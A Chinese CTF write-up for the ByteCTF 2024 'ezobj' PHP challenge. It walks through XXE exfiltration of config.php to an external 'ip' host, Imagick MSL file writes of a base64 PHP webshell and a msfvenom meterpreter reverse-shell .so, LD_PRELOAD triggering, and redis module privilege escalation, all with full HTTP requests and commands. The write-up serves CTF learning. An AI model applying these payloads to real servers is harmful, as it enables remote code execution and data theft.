首页 > 其他分享 >byteCTF 2024 ezobj(复现)

byteCTF 2024 ezobj(复现)

时间:2024-09-25 14:23:20浏览次数:12  
标签:xml Content zh Sec 2024 so ezobj byteCTF Fetch

byteCTF 2024 ezobj(复现)

ezobj(复现)

开题:

<?php
ini_set("display_errors", "On");
include_once("config.php");
if (isset($_GET['so']) && isset($_GET['key'])) {
    if (is_numeric($_GET['so']) && $_GET['key'] === $secret) {
        array_map(function($file) { echo $file . "\n"; }, glob('/tmp/*'));
        putenv("LD_PRELOAD=/tmp/".$_GET['so'].".so");
    }
}
if (isset($_GET['byte']) && isset($_GET['ctf'])) {  
    $a = new ReflectionClass($_GET['byte']);
    $b = $a->newInstanceArgs($_GET['ctf']);
    // echo $b;
} elseif (isset($_GET['clean'])){
    array_map('unlink', glob('/tmp/*'));
} else {
    highlight_file(__FILE__);
    echo 'Hello ByteCTF2024!';
}
// phpinfo.html Hello ByteCTF2024!

逻辑非常简单就是通过利用原生类来上传文件进行 LD_PRELOAD 劫持来命令执行。(题目环境已经没有了,下面复现环境都在本地),发现需要 $secret 才能查看/tmp 目录下的文件,可以通过 SimpleXMLElement 来进行文件读取

evil.xml

<?xml version="1.0"?>
<!DOCTYPE ANY[
<!ENTITY % remote SYSTEM "http://ip/send.xml">
%remote;
%all;
%send;
]>

send.xml

<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=config.php">  
<!ENTITY % all "<!ENTITY &#x25; send SYSTEM 'http://ip/send.php?file=%file;'>">

send.php

<?php
file_put_contents("result.txt", $_GET[file]);  
?>

然后传参

?byte=SimpleXMLElement&ctf[]=http://ip/evil.xml&ctf[]=2&ctf[]=true

成功读取 config.php 文件,获得$secret

现在就需要找要用什么原生类能上传文件,访问phpinfo.html 看见有扩展 imagick

参考:https://github.com/AFKL-CUIT/CTF-Challenges/blob/master/CISCN/2022/backdoor/writup/writup.md

简单构造一下 poc

POST /?byte=imagick&ctf[]=vid:msl:/tmp/php* HTTP/1.1
Host: localhost:32768
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:130.0) Gecko/20100101 Firefox/130.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
Priority: u=0, i
Content-Type: multipart/form-data; boundary=------------------------c32aaddf3d8fd979
Content-Length: 699

--------------------------c32aaddf3d8fd979
Content-Disposition: form-data; name="swarm"; filename="swarm.msl"
Content-Type: application/octet-stream

<?xml version="1.0" encoding="UTF-8"?>
<image>
 <read filename="inline:data://image/x-portable-anymap;base64,UDYKOSA5CjI1NQoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADw/cGhwIGV2YWwoJF9HRVRbMV0pOz8+fE86ODoiYmFja2Rvb3IiOjI6e3M6NDoicGF0aCI7czoxNDoiL3RtcC9zZXNzX2Fma2wiO3M6MTI6ImRvX2V4ZWNfZnVuYyI7YjowO30=" />
 <write filename="/tmp/1.php" />
</image>
--------------------------c32aaddf3d8fd979--

查看上传成功

简单解释一下原理,就是通过通配符来匹配到上传的临时文件,然后利用 imagick 类 vid 的 msl 协议来解析,这个临时文件的内容就是一个 wsl 脚本。这个临时脚本的内容就是把 read 标签的内容写如 write 标签中的文件中。

但是由于 imagick 类对文件格式解析较严,需要写入的文件必须是其支持的图片格式,如jpg、gif、ico等,这就导致写入的内容有了限制,参考师傅文章知道 ppm 的图片格式允许在末尾随便加脏数据并且没有 crc 校验等,用来上传 webshell 是完全没有问题的,刚刚的内容 base64 解码为

一般直接上传到 html 目录下就可以直接 getshell 了,但是这里的 html 目录没有写入权限,还是需要上传 so 文件才行,那么显然 ppm 的文件格式就不行了,有脏数据

然后参考:https://aecous.github.io/2023/06/27/Imagick%E8%A7%A6%E5%8F%91msl/

知道还可以用 inline:data:text/8BIM;base64, 这个玩意直接就可以进行数据解密+传输,不需要符合图片标准

把 hack.so 进行 base64 编码写入,这里需要重新写个 so 文件,直接用下面这个 c 文件编译的话文件太大了。

#include <stdlib.h>
#include <stdio.h>
#include <string.h>

__attribute__ ((__constructor__)) void preload (void){
  unsetenv("LD_PRELOAD");
  system("ls /");
}

这里可以参考:构造一个最小ELF文件构造一个小一点的或者直接看 wp:https://infernity.top/2024/09/21/ByteCTF2024%E5%A4%A7%E5%B8%88%E8%B5%9B/,不过我这种方法复现失败了。

然后再参考:ByteCTF 2024 writeup by Arr3stY0u,用msf生成so

msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=ip LPORT=6666 -f elf-so -o payload.so

cat payload.so | base64

这个确实短,构造poc

POST /?byte=imagick&ctf[]=vid:msl:/tmp/php* HTTP/1.1
Host: localhost:32768
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:130.0) Gecko/20100101 Firefox/130.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
Priority: u=0, i
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryTrWYaXKoVR1wiLhP
Content-Length: 1039

------WebKitFormBoundaryTrWYaXKoVR1wiLhP
Content-Disposition: form-data; name="file"; filename="vulhub.msl"
Content-Type: text/plain

<?xml version="1.0" encoding="UTF-8"?>
<image>
  <read filename="inline:data:text/8BIM;base64,f0VMRgIBAQAAAAAAAAAAAAMAPgABAAAAkgEAAAAAAABAAAAAAAAAALAAAAAAAAAAAAAAAEAAOAACAEAAAgABAAEAAAAHAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAFAIAAAAAAACWAgAAAAAAAAAQAAAAAAAAAgAAAAcAAAAwAQAAAAAAADABAAAAAAAAMAEAAAAAAABgAAAAAAAAAGAAAAAAAAAAABAAAAAAAAABAAAABgAAAAAAAAAAAAAAMAEAAAAAAAAwAQAAAAAAAGAAAAAAAAAAAAAAAAAAAAAIAAAAAAAAAAcAAAAAAAAAAAAAAAMAAAAAAAAAAAAAAJABAAAAAAAAkAEAAAAAAAACAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAwAAAAAAAAAkgEAAAAAAAAFAAAAAAAAAJABAAAAAAAABgAAAAAAAACQAQAAAAAAAAoAAAAAAAAAAAAAAAAAAAALAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAMf9qCViZthBIidZNMclqIkFaagdaDwVIhcB4UWoKQVlQailYmWoCX2oBXg8FSIXAeDtIl0i5AgAaCmo11LhRSInmahBaaipYDwVZSIXAeSVJ/8l0GFdqI1hqAGoFSInnSDH2DwVZWV9IhcB5x2o8WGoBXw8FXmp+Wg8FSIXAeO3/5g=="/>
  <write filename="/tmp/123.so" />
</image>
------WebKitFormBoundaryTrWYaXKoVR1wiLhP--

上传成功,现在就是需要想怎么去触发这个 so 劫持。

参考:深入浅出LD_PRELOAD & putenv()

上传 wmv 文件,

POST /?byte=imagick&ctf[]=vid:msl:/tmp/php* HTTP/1.1
Host: localhost:32768
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:130.0) Gecko/20100101 Firefox/130.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
Priority: u=0, i
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryTrWYaXKoVR1wiLhP
Content-Length: 343

------WebKitFormBoundaryTrWYaXKoVR1wiLhP
Content-Disposition: form-data; name="file"; filename="vulhub.msl"
Content-Type: text/plain

<?xml version="1.0" encoding="UTF-8"?>
<image>
  <read filename="inline:data:text/8BIM;base64,cGF5bG9hZC5zbwo="/>
  <write filename="/tmp/11.wmv" />
</image>
------WebKitFormBoundaryTrWYaXKoVR1wiLhP--

然后执行

?so=123&byte=Imagick&ctf[]=/tmp/11.wmv

注意这里用的是 msf 的反弹 shell,所以只能用 msf 的来进行 shell 操作。

msfconsole
use exploit/multi/handler 
set payload linux/x64/meterpreter/reverse_tcp
set LHOST ip
set LPORT 6666
exploit 

成功反弹 shell

我本地复现就到这了,没有 redis 数据库的环境。

实际上在题目环境中还需要进行 redis 提权,因为 flag 在/root 目录下,ps -ef 发现redies 是 root 权限运行的。

在redis.conf里查看密码登录 redis ,上传 https://github.com/n0b0dyCN/redis-rogue-server/ 中的 exp.so 到 /tmp 下,给exp.so加执行权限然后执行

MODULE LOAD /tmp/exp.so
system.exec "cat /root/flag"

标签:xml,Content,zh,Sec,2024,so,ezobj,byteCTF,Fetch
From: https://blog.csdn.net/2301_79700060/article/details/142522387

相关文章

  • 开源网安受邀参加2024中国新能源汽车零部件交易会
    近日,2024中国新能源汽车零部件交易会在十堰国际会展中心举行。开源网安车联网安全实验室携车联网安全相关产品及解决方案亮相本次交易会,保障智能网联汽车“车、路、云、网、图、边”安全,推动智能网联汽车技术突破与产业化发展。中国新能源汽车零部件交易会始办于2008年,是中国中西部......
  • python 2024-9
    第一课问题a,b求最大值?分类讨论ifa>b:print("最大值=",a)else:print("最大值=",b)a,b,c求最大值?条件语句if...elif...else列表最大值?与参照物循环比较a=[1.7,1.65,1.8,1.55,1.6]#身高列表mx=0#初始化最大值forxin......
  • C#/.NET/.NET Core技术前沿周刊 | 第 5 期(2024年9.9-9.15)
    C#/.NET/.NETCore技术前沿周刊|第5期(2024年9.9-9.15) 思维导航前言.NET9中的性能改进.NET9ReleaseCandidate1现已发布!GitHub模型和.NET为工程师构建生成式AI应用程序AndroidAssetPacksfor.NET&.NETMAUIAndroidApps学习构建您的第一个BlazorHybrid......
  • AI推介-大语言模型LLMs论文速览(arXiv方向):2024.08.25-2024.08.31
    文章目录~1.LongRecipe:RecipeforEfficientLongContextGeneralizationinLargeLanguageModels2.GenAI-poweredMulti-AgentParadigmforSmartUrbanMobility:OpportunitiesandChallengesforIntegratingLargeLanguageModels(LLMs)andRetrieval-Augm......
  • AIGC赋能游戏美术新高度,2024年还不会用AI技术的原画师设计师真的out了!
    大家好,我是强哥随着AIGC技术的飞速发展与大模型的不断成熟迭代,使得其应用前景正在越来越宽阔地展现出来,**“AIGC+”也将逐渐成为各类行业发展的新模式,**也极大地提升了各内容行业的想象空间。而在众多应用领域中,游戏相比其他内容形态具备更强的科技属性,这意味着,游戏行业有......
  • 2024年9月最新web3开发人员薪资情况(包括不同语言、各个国家)
    开发人员的薪水是多少?Web3开发人员的平均年薪为14万至20万美元。薪水取决于技术、编程语言、工作经验年限、地点和资历。量化开发人员每年可赚20万至30万美元高级开发人员年薪16万至25.7万美元北美开发商年薪15万至26.5万美元按开发人员类型和编程......
  • 20240902
    RoomTemperature我们首先可以发现他的初始适宜温度是无关紧要的(因为我们可以让他穿非常多的衣服,然后后续的操作就等于脱衣服),然后我们将数组统一模\(T\),再排序,假设现在我们考虑第\(i\)个人,那么一定可以通过脱衣服,让温度在\(a[i]\)至\(a[i-1]+t\)内,然后我们要......
  • 【2024W38】肖恩技术周刊(第 16 期):白嫖AI的最佳时段
    周刊内容:对一周内阅读的资讯或技术内容精品(个人向)进行总结,分类大致包含“业界资讯”、“技术博客”、“开源项目”和“工具分享”等。为减少阅读负担提高记忆留存率,每类下内容数一般不超过3条。更新时间:星期天历史收录:shawn-weekly订阅方式:微信公众号“肖恩聊技......
  • 2024下半年银行从业初级个人理财、法律法规押题5套 免费速领
    马上又到银行从业考试时间了,各位小伙伴抓紧行动起来,免费速领!!!地址:[https://pan.quark.cn/s/118d640961ab](https://pan.quark.cn/s/118d640961ab)......
  • 2024年系统分析师各地报名时间及入口汇总
    一、系统分析师系统分析师,属于计算机技术与软件(高级)专业技术资格。在信息系统项目开发过程中负责制定信息系统规格说明书,和项目开发计划、指导和协调信息系统开发与运行,编写系统分析设计档案,对开发过程进行质量控制欲与进度控制的高级技术人员。二、系统分析师报名时间及入口系统分......